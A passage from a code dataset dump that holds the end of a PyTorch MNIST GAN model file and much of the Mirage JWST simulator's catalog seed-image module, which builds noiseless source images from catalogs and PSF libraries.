forward(self, x):\n N, C, H, W = x.size() # read in N, C, H, W\n return x.view(N, -1) # \"flatten\" the C * H * W values into a single vector per image\n\nclass Unflatten(nn.Module):\n \"\"\"\n An Unflatten module receives an input of shape (N, C*H*W) and reshapes it\n to produce an output of shape (N, C, H, W).\n \"\"\"\n def __init__(self, N=-1, C=128, H=7, W=7):\n super(Unflatten, self).__init__()\n self.N = N\n self.C = C\n self.H = H\n self.W = W\n def forward(self, x):\n return x.view(self.N, self.C, self.H, self.W)\n\nclass G(nn.Module):\n def __init__(self, Noise_dim, batch_size):\n super(G, self).__init__()\n self.main = nn.Sequential(\n Flatten(),\n nn.Linear(Noise_dim, 1024),\n nn.ReLU(),\n nn.BatchNorm1d(1024),\n nn.Linear(1024, 7*7*128),\n nn.BatchNorm1d(7*7*128),\n Unflatten(batch_size, 128, 7, 7),\n nn.ConvTranspose2d(128, 64, kernel_size=4, stride=2, padding=1),\n nn.ReLU(inplace=True),\n nn.BatchNorm2d(num_features=64),\n nn.ConvTranspose2d(64, 1, kernel_size=4, stride=2, padding=1),\n nn.ReLU(inplace=True),\n nn.Tanh()\n )\n\n def forward(self, input):\n return self.main(input)\n\n def initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.ConvTranspose2d):\n torch.nn.init.xavier_normal_(m.weight.data)\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.BatchNorm1d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n torch.nn.init.normal_(m.weight.data, 0, 0.01)\n m.bias.data.zero_()\n\n\nclass D(nn.Module):\n def __init__(self, batch_size):\n super(D, self).__init__()\n self.main = nn.Sequential(\n Unflatten(batch_size, 1, 28, 28),\n nn.Conv2d(1,32, kernel_size=5, stride=1),\n nn.LeakyReLU(negative_slope=0.01),\n nn.MaxPool2d(2, stride=2),\n nn.Conv2d(32,64, kernel_size=5, stride=1),\n nn.LeakyReLU(negative_slope=0.01),\n nn.MaxPool2d(2, stride=2),\n Flatten(),\n nn.Linear(4*4*64, 4*64),\n nn.LeakyReLU(negative_slope=0.01),\n nn.Linear(4*64, 1),\n nn.Sigmoid()\n )\n\n def forward(self, input):\n return self.main(input)\n\n def initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n torch.nn.init.xavier_normal_(m.weight.data)\n if m.bias is not None:\n m.bias.data.zero_()\n elif isinstance(m, nn.Linear):\n torch.nn.init.normal_(m.weight.data, 0, 0.01)\n m.bias.data.zero_()\n","repo_name":"YCWangVince/Mnist-GAN-API","sub_path":"Net_Model.py","file_name":"Net_Model.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18119058451","text":"#! /usr/bin env python\n\n'''\nReorganization of ramp simulator code. This class is used to construct\na \"seed image\" from a point source catalog. This seed image is a\nnoiseless countrate image containing only sources. No noise, no\ncosmic rays.\n'''\n\nimport argparse\nimport datetime\nimport sys\nimport glob\nimport logging\nimport os\nimport copy\nimport pickle\nimport re\nimport shutil\nfrom yaml.scanner import ScannerError\n\nimport math\nimport yaml\nimport time\nimport pkg_resources\nimport asdf\nimport scipy.signal as s1\nimport scipy.special as sp\nfrom scipy.ndimage import rotate\nimport numpy as np\nfrom photutils import detect_sources\nfrom astropy.coordinates import SkyCoord\nfrom astropy.io import fits, ascii\nfrom astropy.table import Table, Column, vstack\nfrom astropy.modeling.models import Shift, Sersic2D, Sersic1D, Polynomial2D, Mapping\nfrom astropy.stats import sigma_clipped_stats\nimport astropy.units as u\nimport pysiaf\n\nfrom . import moving_targets\nfrom . import segmentation_map as segmap\nimport mirage\nfrom mirage.catalogs.catalog_generator import ExtendedCatalog, TSO_GRISM_INDEX\nfrom mirage.catalogs.utils import catalog_index_check, determine_used_cats\nfrom mirage.reference_files.downloader import download_file\nfrom mirage.seed_image import tso, ephemeris_tools\nfrom ..ghosts.niriss_ghosts import determine_ghost_stamp_filename, get_ghost, source_mags_to_ghost_mags\nfrom ..logging import logging_functions\nfrom ..reference_files import crds_tools\nfrom ..utils import backgrounds\nfrom ..utils import rotations, polynomial, read_siaf_table, utils\nfrom ..utils import set_telescope_pointing_separated as set_telescope_pointing\nfrom ..utils import siaf_interface, file_io\nfrom ..utils.constants import CRDS_FILE_TYPES, MEAN_GAIN_VALUES, SERSIC_FRACTIONAL_SIGNAL, \\\n SEGMENTATION_MIN_SIGNAL_RATE, SUPPORTED_SEGMENTATION_THRESHOLD_UNITS, \\\n LOG_CONFIG_FILENAME, STANDARD_LOGFILE_NAME, TSO_MODES, NIRISS_GHOST_GAP_FILE, \\\n NIRISS_GHOST_GAP_URL, NIRCAM_SW_GRISMTS_APERTURES, NIRCAM_LW_GRISMTS_APERTURES, \\\n DISPERSED_MODES\nfrom ..utils.flux_cal import fluxcal_info, sersic_fractional_radius, sersic_total_signal\nfrom ..utils.timer import Timer\nfrom ..psf.psf_selection import get_gridded_psf_library, get_psf_wings\nfrom mirage.utils.file_splitting import find_file_splits, SplitFileMetaData\nfrom ..psf.segment_psfs import (get_gridded_segment_psf_library_list,\n get_segment_offset, get_segment_library_list)\n\n\nINST_LIST = ['nircam', 'niriss', 'fgs']\nMODES = {'nircam': [\"imaging\", \"ts_imaging\", \"wfss\", \"ts_grism\"],\n 'niriss': [\"imaging\", \"ami\", \"pom\", \"wfss\"],\n 'fgs': [\"imaging\"]}\nTRACKING_LIST = ['sidereal', 'non-sidereal']\n\ninst_abbrev = {'nircam': 'NRC',\n 'niriss': 'NIS',\n 'fgs': 'FGS'}\n\nALLOWEDOUTPUTFORMATS = ['DMS']\nWFE_OPTIONS = ['predicted', 'requirements']\nWFEGROUP_OPTIONS = np.arange(5)\n\n\nclassdir = os.path.abspath(os.path.join(os.path.dirname(__file__), '../'))\nlog_config_file = os.path.join(classdir, 'logging', LOG_CONFIG_FILENAME)\nlogging_functions.create_logger(log_config_file, STANDARD_LOGFILE_NAME)\n\n\nclass Catalog_seed():\n def __init__(self, offline=False):\n \"\"\"Instantiate the Catalog_seed class\n\n Parameters\n ----------\n offline : bool\n If True, the check for the existence of the MIRAGE_DATA\n directory is skipped. This is primarily for Travis testing\n \"\"\"\n # Initialize the log using dictionary from the yaml file\n self.logger = logging.getLogger(__name__)\n\n self.offline = offline\n\n # Locate the module files, so that we know where to look\n # for config subdirectory\n self.modpath = pkg_resources.resource_filename('mirage', '')\n\n # Get the location of the MIRAGE_DATA environment\n # variable, so we know where to look for darks, CR,\n # PSF files, etc later\n self.env_var = 'MIRAGE_DATA'\n datadir = utils.expand_environment_variable(self.env_var, offline=offline)\n\n # Check that CRDS-related environment variables are set correctly\n self.crds_datadir = crds_tools.env_variables()\n\n # self.coord_adjust contains the factor by which the\n # nominal output array size needs to be increased\n # (used for WFSS mode), as well as the coordinate\n # offset between the nominal output array coordinates,\n # and those of the expanded array. These are needed\n # mostly for WFSS observations, where the nominal output\n # array will not sit centered in the expanded output image.\n self.coord_adjust = {'x': 1., 'xoffset': 0, 'y': 1., 'yoffset': 0}\n\n # NIRCam rough noise values. Used to make educated guesses when\n # creating segmentation maps\n self.single_ron = 6. # e-/read\n self.grism_background = 0.25 # e-/sec\n\n # keep track of the maximum index number of sources\n # in the various catalogs. We don't want to end up\n # with multiple sources having the same index numbers\n self.maxindex = 0\n\n # Number of sources on the detector\n self.n_pointsources = 0\n self.n_galaxies = 0\n self.n_extend = 0\n\n # Names of Mirage-created source catalogs containing ghost sources\n self.ghost_catalogs = []\n\n # Initialize timer\n self.timer = Timer()\n\n @logging_functions.log_fail\n def make_seed(self):\n \"\"\"MAIN FUNCTION\"\"\"\n\n # Read in input parameters and quality check\n self.seed_files = []\n self.readParameterFile()\n\n # Get the log caught up on what's already happened\n self.logger.info('\\n\\nRunning catalog_seed_image..\\n')\n self.logger.info('Reading parameter file: {}\\n'.format(self.paramfile))\n self.logger.info('Original log file name: ./{}'.format(STANDARD_LOGFILE_NAME))\n\n # Quick source catalog index number check. If there are multiple\n # catalogs, raise a warning if there are overlapping source\n # indicies. It may not be a big deal for imaging mode sims,\n # but for WFSS sims where there is an associated hdf5 file,\n # it would mean trouble.\n used_cats = determine_used_cats(self.params['Inst']['mode'], self.params['simSignals'])\n overlapping_indexes, self.max_source_index = catalog_index_check(used_cats)\n if overlapping_indexes:\n error_list = [key for key in used_cats]\n raise ValueError(('At least two of the input source catalogs have overlapping index values. '\n 'Each source across all catalogs should have a unique index value.\\n'\n 'Catalogs checked: {}'.format(error_list)))\n\n # Make filter/pupil values respect the filter/pupil wheel they are in\n self.params['Readout']['filter'], self.params['Readout']['pupil'] = \\\n utils.normalize_filters(self.params['Inst']['instrument'], self.params['Readout']['filter'], self.params['Readout']['pupil'])\n\n # Create dictionary to use when looking in CRDS for reference files\n self.crds_dict = crds_tools.dict_from_yaml(self.params)\n\n # Expand param entries to full paths where appropriate\n self.params = utils.full_paths(self.params, self.modpath, self.crds_dict, offline=self.offline)\n self.filecheck()\n self.basename = os.path.join(self.params['Output']['directory'],\n self.params['Output']['file'][0:-5].split('/')[-1])\n self.params['Output']['file'] = self.basename + self.params['Output']['file'][-5:]\n self.subdict = utils.read_subarray_definition_file(self.params['Reffiles']['subarray_defs'])\n self.check_params()\n self.params = utils.get_subarray_info(self.params, self.subdict)\n self.coord_transform = self.read_distortion_reffile()\n self.expand_catalog_for_segments = bool(self.params['simSignals']['expand_catalog_for_segments'])\n self.add_psf_wings = self.params['simSignals']['add_psf_wings']\n\n # Read in the transmission file so it can be used later\n self.prepare_transmission_file()\n\n # Find the factor by which the transmission image is larger than full frame\n self.grism_factor()\n\n # If the output is a direct image to be dispersed, expand the size\n # of the nominal FOV so the disperser can account for sources just\n # outside whose traces will fall into the FOV\n if (self.params['Output']['grism_source_image']) or (self.params['Inst']['mode'] in [\"pom\"]):\n self.calcCoordAdjust()\n\n # Image dimensions\n self.nominal_dims = np.array([self.subarray_bounds[3] - self.subarray_bounds[1] + 1,\n self.subarray_bounds[2] - self.subarray_bounds[0] + 1])\n self.output_dims = self.transmission_image.shape\n self.logger.info('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')\n self.logger.info('Seed image output dimensions (x, y) are: ({}, {})'.format(self.output_dims[1], self.output_dims[0]))\n self.logger.info('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')\n\n # calculate the exposure time of a single frame, based on the size of the subarray\n self.frametime = utils.calc_frame_time(self.params['Inst']['instrument'],\n self.params['Readout']['array_name'],\n self.nominal_dims[1], self.nominal_dims[0],\n self.params['Readout']['namp'])\n self.logger.info(\"Frametime is {}\".format(self.frametime))\n\n # Get information on the number of frames\n self.get_frame_count_info()\n\n # If the total number of frames/pixels is larger than the file\n # size cap can handle, then we need to break the exposure up\n # into multiple chunks\n frames_per_group = self.frames_per_integration / self.params['Readout']['ngroup']\n if self.params['Inst']['mode'] in ['ts_imaging']:\n split_seed, group_segment_indexes, integration_segment_indexes = find_file_splits(self.output_dims[1],\n self.output_dims[0],\n self.frames_per_integration,\n self.params['Readout']['nint'],\n frames_per_group=frames_per_group)\n\n # If the file needs to be split, check to see what the splitting\n # would be in the case of groups rather than frames. This will\n # help align the split files between the seed image and the dark\n # object later (which is split by groups).\n if split_seed:\n delta_index = integration_segment_indexes[1] - integration_segment_indexes[0]\n forced_ints_per_file = int(self.frames_per_integration / self.params['Readout']['ngroup']) * delta_index\n split_seed_g, self.group_segment_indexes_g, self.file_segment_indexes = find_file_splits(self.output_dims[1],\n self.output_dims[0],\n self.params['Readout']['ngroup'],\n self.params['Readout']['nint'],\n force_delta_int=forced_ints_per_file)\n\n\n #print('\\nOutputs:')\n #print(split_seed, group_segment_indexes, integration_segment_indexes)\n #print(split_seed_g, self.group_segment_indexes_g, self.file_segment_indexes)\n #print(self.file_segment_indexes)\n #print('')\n\n # In order to avoid the case of having a single integration\n # in the final file, which leads to rate rather than rateints\n # files in the pipeline, check to be sure that the integration\n # splitting indexes indicate the last split isn't a single\n # integration\n if len(self.file_segment_indexes) > 2:\n delta_int = self.file_segment_indexes[1:] - self.file_segment_indexes[0: -1]\n if delta_int[-1] == 1 and delta_int[0] != 1:\n self.file_segment_indexes[-2] -= 1\n self.logger.debug('Adjusted final seed to avoid single integration: {}'.format(self.file_segment_indexes))\n\n # More adjustments related to segment numbers. We need to compare\n # the integration indexes for the seed images vs those for the final\n # data and make sure that there are no segments in the final data that\n # have no corresponding integrations from the seed images\n # Example: integration_segment_indexes = [0, 7, 8], and\n # self.file_segment_indexes = [0, 6, 8] - due to applying the adjustment\n # above. In this case as you step through integration_segment_indexes,\n # you see that (skipping 0), 7 and 8 both fall in the 6-8 bin in\n # self.file_segment_indexes. Nothing falls into the 0-7 bin, which\n # corresponds to segment 1. In this case, we need to adjust\n # integration_segment_indexes to make sure that all segments have data\n # associated with them.\n segnum_check = []\n for intnum in integration_segment_indexes[1:]:\n segnum_check.append(np.where(intnum <= self.file_segment_indexes)[0][0])\n maxseg = max(segnum_check)\n for i in range(1, maxseg + 1):\n if i not in segnum_check:\n integration_segment_indexes = copy.deepcopy(self.file_segment_indexes)\n\n else:\n self.file_segment_indexes = integration_segment_indexes\n\n else:\n split_seed = False\n group_segment_indexes = [0, self.params['Readout']['ngroup']]\n integration_segment_indexes = [0, self.params['Readout']['nint']]\n self.file_segment_indexes = copy.deepcopy(integration_segment_indexes)\n self.total_seed_segments = 1\n self.segment_number = 1\n self.segment_part_number = 1\n\n self.total_seed_segments = len(self.file_segment_indexes) - 1\n self.total_seed_segments_and_parts = (len(integration_segment_indexes) - 1) * (len(group_segment_indexes) - 1)\n\n # Read in the PSF library file corresponding to the detector and filter\n # For WFSS simulations, use the PSF libraries with the appropriate CLEAR element\n self.prepare_psf_entries()\n\n if not self.expand_catalog_for_segments:\n self.psf_library = get_gridded_psf_library(\n self.params['Inst']['instrument'], self.detector, self.psf_filter, self.psf_pupil,\n self.params['simSignals']['psfwfe'],\n self.params['simSignals']['psfwfegroup'],\n self.params['simSignals']['psfpath'])\n self.psf_library_core_y_dim, self.psf_library_core_x_dim = self.psf_library.data.shape[-2:]\n self.psf_library_oversamp = self.psf_library.oversampling\n\n # If reading in segment PSFs, use get_gridded_segment_psf_library_list\n # to get a list of photutils.griddedPSFModel objects\n else:\n self.psf_library = get_gridded_segment_psf_library_list(\n self.params['Inst']['instrument'], self.detector, self.psf_filter,\n self.params['simSignals']['psfpath'], pupilname=self.psf_pupil)\n self.psf_library_core_y_dim, self.psf_library_core_x_dim = self.psf_library[0].data.shape[-2:]\n self.psf_library_oversamp = 1\n\n # Set the psf core dimensions to actually be 2 rows and columns\n # less than the dimensions in the library file. This is because\n # we will later evaluate the library using these core dimensions.\n # If we were to evaluate a library that is 51x51 pixels using a\n # 51x51 pixel grid, then if the source is centered close to the\n # edge of the central pixel, you can end up with an zeroed out\n # edge row or column in the evaluated array. So we do this to be\n # sure that we are evaluating the library with a slightly smaller\n # array than the array in the library.\n self.psf_library_core_x_dim = np.int(self.psf_library_core_x_dim / self.psf_library_oversamp) - \\\n self.params['simSignals']['gridded_psf_library_row_padding']\n self.psf_library_core_y_dim = np.int(self.psf_library_core_y_dim / self.psf_library_oversamp) - \\\n self.params['simSignals']['gridded_psf_library_row_padding']\n\n if self.add_psf_wings is True:\n self.psf_wings = get_psf_wings(self.params['Inst']['instrument'], self.detector,\n self.psf_filter, self.psf_pupil,\n self.params['simSignals']['psfwfe'],\n self.params['simSignals']['psfwfegroup'],\n os.path.join(self.params['simSignals']['psfpath'], 'psf_wings'))\n\n # Read in the file that defines PSF array sizes based on magnitude\n self.psf_wing_sizes = ascii.read(self.params['simSignals']['psf_wing_threshold_file'])\n max_wing_size = self.psf_wings.shape[0]\n too_large = np.where(np.array(self.psf_wing_sizes['number_of_pixels']) > max_wing_size)[0]\n if len(too_large) > 0:\n self.logger.info(('Some PSF sizes in {} are larger than the PSF library file dimensions. '\n 'Resetting these values in the table to be equal to the PSF dimensions'\n .format(os.path.basename(self.params['simSignals']['psf_wing_threshold_file']))))\n self.psf_wing_sizes['number_of_pixels'][too_large] = max_wing_size\n\n # Prepare for saving seed images. Set default values for the\n # keywords that must appear in the headers of any seed image\n # file\n\n # Attributes related to file splitting, which is done in cases\n # where the data volume is too large. Currently this is only\n # implemented for imaging TSO. The only other mode where it\n # will need to be implemented is moving tagets\n self.segment_number = 1\n self.segment_part_number = 1\n self.segment_frames = self.frames_per_integration # self.seedimage.shape[1]\n self.segment_ints = self.params['Readout']['nint'] # self.seedimage.shape[0]\n self.segment_frame_start_number = 0\n self.segment_int_start_number = 0\n self.part_int_start_number = 0\n self.part_frame_start_number = 0\n\n # For imaging mode, generate the countrate image using the catalogs\n if self.params['Telescope']['tracking'].lower() != 'non-sidereal':\n self.logger.info('Creating signal rate image of sidereal synthetic inputs.')\n self.seedimage, self.seed_segmap = self.create_sidereal_image()\n outapp = ''\n\n # If we are tracking a non-sidereal target, then\n # everything in the catalogs needs to be streaked across\n # the detector\n if self.params['Telescope']['tracking'].lower() == 'non-sidereal':\n self.logger.info('Creating signal ramp of non-sidereal synthetic inputs')\n self.seedimage, self.seed_segmap = self.non_sidereal_seed()\n outapp = '_nonsidereal_target'\n\n # If non-sidereal targets are requested (KBOs, asteroids, etc,\n # create a RAPID integration which includes those targets\n mov_targs_ramps = []\n if (self.runStep['movingTargets'] | self.runStep['movingTargetsSersic']\n | self.runStep['movingTargetsExtended']):\n self.logger.info((\"Creating signal ramp of sources that are moving with \"\n \"respect to telescope tracking.\"))\n trailed_ramp, trailed_segmap = self.make_trailed_ramp()\n outapp += '_trailed_sources'\n\n # Now we need to expand frameimage into a ramp\n # so we can add the trailed objects\n self.logger.info('Combining trailed object ramp with that containing tracked targets')\n if self.params['Telescope']['tracking'].lower() != 'non-sidereal':\n self.seedimage = self.combineSimulatedDataSources('countrate', self.seedimage, trailed_ramp)\n else:\n self.seedimage = self.combineSimulatedDataSources('ramp', self.seedimage, trailed_ramp)\n self.seed_segmap += trailed_segmap\n\n # MASK IMAGE\n # Create a mask so that we don't add signal to masked pixels\n # Initially this includes only the reference pixels\n # Keep the mask image equal to the true subarray size, since this\n # won't be used to make a requested grism source image\n if self.params['Inst']['mode'] not in ['wfss', 'ts_grism']:\n self.maskimage = np.zeros((self.ffsize, self.ffsize), dtype=np.int)\n self.maskimage[4:self.ffsize-4, 4:self.ffsize-4] = 1.\n\n # crop the mask to match the requested output array\n ap_suffix = self.params['Readout']['array_name'].split('_')[1]\n if ap_suffix not in ['FULL', 'CEN']:\n self.maskimage = self.maskimage[self.subarray_bounds[1]:self.subarray_bounds[3] + 1,\n self.subarray_bounds[0]:self.subarray_bounds[2] + 1]\n\n # TSO imaging mode here\n if self.params['Inst']['mode'] in ['ts_imaging']:\n self.create_tso_seed(split_seed=split_seed, integration_splits=integration_segment_indexes,\n frame_splits=group_segment_indexes)\n else:\n\n # For seed images to be dispersed in WFSS mode,\n # embed the seed image in a full frame array. The disperser\n # tool does not work on subarrays\n aperture_suffix = self.params['Readout']['array_name'].split('_')[-1]\n #if ((self.params['Inst']['mode'] in ['wfss', 'ts_grism']) & \\\n # (aperture_suffix not in ['FULL', 'CEN'])):\n # self.seedimage, self.seed_segmap = self.pad_wfss_subarray(self.seedimage, self.seed_segmap)\n\n # For NIRISS POM data, extract the central 2048x2048\n if self.params['Inst']['mode'] in [\"pom\"]:\n # Expose the full-sized pom seed image\n self.logger.info('Multiplying seed by POM transmission image.')\n self.seedimage *= self.transmission_image\n self.pom_seed = copy.deepcopy(self.seedimage)\n self.pom_segmap = copy.deepcopy(self.seed_segmap)\n\n # Save the full-sized pom seed image to a file\n if 'clear' in self.params['Readout']['filter'].lower():\n usefilt = self.params['Readout']['pupil']\n else:\n usefilt = self.params['Readout']['filter']\n self.pom_file = os.path.join(self.basename + '_' + usefilt + '_pom_seed_image.fits')\n self.saveSeedImage(self.pom_seed, self.pom_segmap, self.pom_file)\n self.logger.info('Full POM seed image saved as: {}'.format(self.pom_file))\n self.seedimage, self.seed_segmap = self.extract_full_from_pom(self.seedimage, self.seed_segmap)\n\n if self.params['Inst']['mode'] not in ['wfss', 'ts_grism']:\n # Multiply the mask by the seed image and segmentation map in\n # order to reflect the fact that reference pixels have no signal\n # from external sources. Seed images to be dispersed do not have\n # this step applied.\n self.seedimage *= self.maskimage\n self.seed_segmap *= self.maskimage\n\n # For data that will not be dispersed, multiply by the transmission image\n # pom data have already been multiplied by the transmission image above\n if self.params['Inst']['mode'] not in ['wfss', 'ts_grism', 'pom']:\n self.logger.info('Multiplying seed by POM transmission image.')\n self.seedimage *= self.transmission_image\n\n # Save the combined static + moving targets ramp\n if self.params['Inst']['instrument'].lower() != 'fgs':\n self.seed_file = '{}_{}_{}_final_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'])\n else:\n self.seed_file = '{}_final_seed_image.fits'.format(self.basename)\n\n # Define self.seed_files for non-TSO observations\n if len(self.seed_files) == 0:\n self.seed_files = [self.seed_file]\n\n self.saveSeedImage(self.seedimage, self.seed_segmap, self.seed_file)\n self.logger.info(\"Final seed image and segmentation map saved as {}\".format(self.seed_file))\n self.logger.info(\"Seed image, segmentation map, and metadata available as:\")\n self.logger.info(\"self.seedimage, self.seed_segmap, self.seedinfo.\\n\\n\")\n\n # Return info in a tuple\n # return (self.seedimage, self.seed_segmap, self.seedinfo)\n\n # In the case where the user is running only catalog_seed_image,\n # we want to make a copy of the log file, rename\n # it to something unique and move it to a logical location.\n #\n # If the user has called (e.g. imaging_simulator), in which case\n # dark_prep will be run next, dark_prep will re-initialize the\n # logger with the same handler and file destination, so it will\n # append to the original log file created here.\n logging_functions.move_logfile_to_standard_location(self.paramfile, STANDARD_LOGFILE_NAME,\n yaml_outdir=self.params['Output']['directory'],\n log_type='catalog_seed')\n\n def create_tso_seed(self, split_seed=False, integration_splits=-1, frame_splits=-1):\n \"\"\"Create a seed image for time series sources. Just like for moving\n targets, the seed image will be 4-dimensional\n\n Parameters\n ----------\n split_seed : bool\n Whether or not the seed image will be split between multiple files\n\n integration_splits : list\n List containing the first integration number within each of the\n split files. In addition, the final number in the list should be\n the index of the final integration.\n\n frame_splits : list\n Similar to ``integration_splits`` but for frame numbers. This will\n be used in the case where the readout pattern contains many frames\n per group\n\n Returns\n -------\n seed : numpy.ndarray\n 4D array seed image.\n\n segmap : numpy.ndarray\n 2D segmentation map\n \"\"\"\n # Read in the TSO catalog. This is only for TSO mode, not\n # grism TSO, which will need a different catalog format.\n if self.params['Inst']['mode'].lower() == 'ts_imaging':\n tso_cat, _ = self.get_point_source_list(self.params['simSignals']['tso_imaging_catalog'], source_type='ts_imaging')\n\n # Create lists of seed images and segmentation maps for all\n # TSO objects\n tso_seeds = []\n tso_segs = []\n tso_lightcurves = []\n for source in tso_cat:\n # Let's set the TSO source to be a unique index number.\n # Otherwise the index number will be modified to be one\n # greater than the max value after working on the background\n # sources\n source['index'] = TSO_GRISM_INDEX\n\n # Place row in an empty table\n t = tso_cat[:0].copy()\n t.add_row(source)\n\n # Create the seed image contribution from each source\n ptsrc_seed, ptsrc_seg = self.make_point_source_image(t)\n\n # Add to the list of sources (even though the list will\n # always have only one item)\n tso_seeds.append(copy.deepcopy(ptsrc_seed))\n tso_segs.append(copy.deepcopy(ptsrc_seg))\n\n # Under the assumption that there will always be only one\n # TSO source, let's assume that the dataset number in the\n # lightcurve file is always 1. This seems easiest for the\n # users when creating the file.\n lightcurve = tso.read_lightcurve(source['lightcurve_file'], 1)\n tso_lightcurves.append(lightcurve)\n\n if not split_seed:\n # Add the TSO sources to the seed image and segmentation map\n seed, segmap = tso.add_tso_sources(self.seedimage, self.seed_segmap, tso_seeds, tso_segs,\n tso_lightcurves, self.frametime, self.total_frames,\n self.total_frames, self.frames_per_integration,\n self.params['Readout']['nint'],\n self.params['Readout']['resets_bet_ints'],\n samples_per_frametime=5)\n\n self.segment_number = 1\n self.segment_part_number = 1\n self.segment_frames = seed.shape[1]\n self.segment_ints = seed.shape[0]\n self.segment_frame_start_number = 0\n self.segment_int_start_number = 0\n self.part_int_start_number = 0\n self.part_frame_start_number = 0\n\n # Zero out the reference pixels\n seed *= self.maskimage\n segmap *= self.maskimage\n\n # Multiply by the transmission image\n self.logger.info('Multiplying seed by POM transmission image.')\n seed *= self.transmission_image\n\n # Save the seed image segment to a file\n if self.total_seed_segments_and_parts == 1:\n self.seed_file = '{}_{}_{}_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'])\n else:\n raise ValueError(\"ERROR: TSO seed file should not be split at this point.\")\n seg_string = str(self.segment_number).zfill(3)\n part_string = str(self.segment_part_number).zfill(3)\n self.seed_file = '{}_{}_{}_seg{}_part{}_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'], seg_string, part_string)\n\n self.seed_files.append(self.seed_file)\n self.saveSeedImage(seed, segmap, self.seed_file)\n\n else:\n split_meta = SplitFileMetaData(integration_splits, frame_splits,\n self.file_segment_indexes, self.group_segment_indexes_g,\n self.frames_per_integration, self.frames_per_group, self.frametime)\n\n counter = 0\n i = 1\n for int_start in integration_splits[:-1]:\n int_end = integration_splits[i]\n\n j = 1\n previous_frame = np.zeros(self.seedimage.shape)\n for initial_frame in frame_splits[:-1]:\n total_frames = split_meta.total_frames[counter]\n total_ints = split_meta.total_ints[counter]\n time_start = split_meta.time_start[counter]\n frame_start = split_meta.frame_start[counter]\n seed, segmap = tso.add_tso_sources(self.seedimage, self.seed_segmap,\n tso_seeds, tso_segs,\n tso_lightcurves, self.frametime,\n total_frames, self.total_frames,\n self.frames_per_integration,\n total_ints,\n self.params['Readout']['resets_bet_ints'],\n starting_time=time_start,\n starting_frame=frame_start,\n samples_per_frametime=5)\n seed += previous_frame\n previous_frame = seed[-1, -1, :, :]\n\n # Zero out the reference pixels\n seed *= self.maskimage\n segmap *= self.maskimage\n\n # Multiply by the transmission image\n self.logger.info('Multiplying seed by POM transmission image.')\n seed *= self.transmission_image\n\n # Get metadata values to save in seed image header\n self.segment_number = split_meta.segment_number[counter]\n self.segment_ints = split_meta.segment_ints[counter]\n self.segment_frames = split_meta.segment_frames[counter]\n self.segment_part_number = split_meta.segment_part_number[counter]\n self.segment_frame_start_number = split_meta.segment_frame_start_number[counter]\n self.segment_int_start_number = split_meta.segment_int_start_number[counter]\n self.part_int_start_number = split_meta.part_int_start_number[counter]\n self.part_frame_start_number = split_meta.part_frame_start_number[counter]\n counter += 1\n\n # Save the seed image segment to a file\n self.logger.debug('\\n\\n\\nTotal_seed_segments_and_parts: {}'.format(self.total_seed_segments_and_parts))\n seg_string = str(self.segment_number).zfill(3)\n part_string = str(self.segment_part_number).zfill(3)\n self.seed_file = '{}_{}_{}_seg{}_part{}_seed_image.fits'.format(self.basename, self.params['Readout']['filter'],\n self.params['Readout']['pupil'], seg_string, part_string)\n\n self.saveSeedImage(seed, segmap, self.seed_file)\n self.seed_files.append(self.seed_file)\n self.logger.info('Adding file {} to self.seed_files\\n'.format(self.seed_file))\n j += 1\n\n i += 1\n\n self.seedimage = seed\n self.seed_segmap = segmap\n else:\n raise ValueError('Grism TSO simulations should be done with grism_tso_simulator.py!')\n\n def get_frame_count_info(self):\n \"\"\"Calculate information on the number of frames per group and\n per integration\n \"\"\"\n numints = self.params['Readout']['nint']\n numgroups = self.params['Readout']['ngroup']\n numframes = self.params['Readout']['nframe']\n numskips = self.params['Readout']['nskip']\n numresets = self.params['Readout']['resets_bet_ints']\n\n self.frames_per_group = numframes + numskips\n self.frames_per_integration = numgroups * self.frames_per_group\n self.total_frames = numgroups * self.frames_per_group\n\n if numints > 1:\n # Frames for all integrations\n self.total_frames *= numints\n # Add the resets for all but the first integration\n self.total_frames += (numresets * (numints - 1))\n\n def extract_full_from_pom(self, seedimage, seed_segmap):\n \"\"\" Given the seed image and segmentation images for the NIRISS POM field of view,\n extract the central 2048x2048 pixel area where the detector sits. The routine is only\n called when the mode is \"pom\". The mode is set to \"imaging\" in these routine, as after\n the routine is called the subsequent results are the same as when the mode is set to\n \"imaging\" in the parameter file.\n\n Parameters:\n -----------\n\n seedimage : numpy.ndarray (float) dimension 2322x2322 pixels\n seed_segmap : numpy.ndarray (int) dimension 2322x2322 pixels\n\n Returns:\n ---------\n\n newseedimage : numpy.ndarray (float) dimension 2048x2048\n newseed_segmap : numpy.ndarray (int) dimension 2048x2048\n\n \"\"\"\n # For the NIRISS POM mode, extact the central 2048x2048 pixels for the\n # ramp simulation. Set the mode back to \"imaging\".\n newseedimage = np.copy(seedimage[self.coord_adjust['yoffset']:self.coord_adjust['yoffset']+2048,\n self.coord_adjust['xoffset']:self.coord_adjust['xoffset']+2048])\n newseed_segmap = np.copy(seed_segmap[self.coord_adjust['yoffset']:self.coord_adjust['yoffset']+2048,\n self.coord_adjust['xoffset']:self.coord_adjust['xoffset']+2048])\n return newseedimage, newseed_segmap\n\n def add_detector_to_zeropoints(self, detector):\n \"\"\"Manually add detector dependence to the zeropoint table for\n NIRCam and NIRISS simualtions. This is being done as a placeholder\n for the future, where we expect zeropoints to be detector-dependent.\n\n Parameters:\n -----------\n detector : str\n Name of detector to add to the table\n\n Returns:\n --------\n base_table : astropy.table.table\n Modified table of zeropoint info\n \"\"\"\n # Add \"Detector\" to the list of column names\n base_table = copy.deepcopy(self.zps)\n num_entries = len(self.zps)\n det_column = Column(np.repeat(detector, num_entries), name=\"Detector\")\n base_table.add_column(det_column, 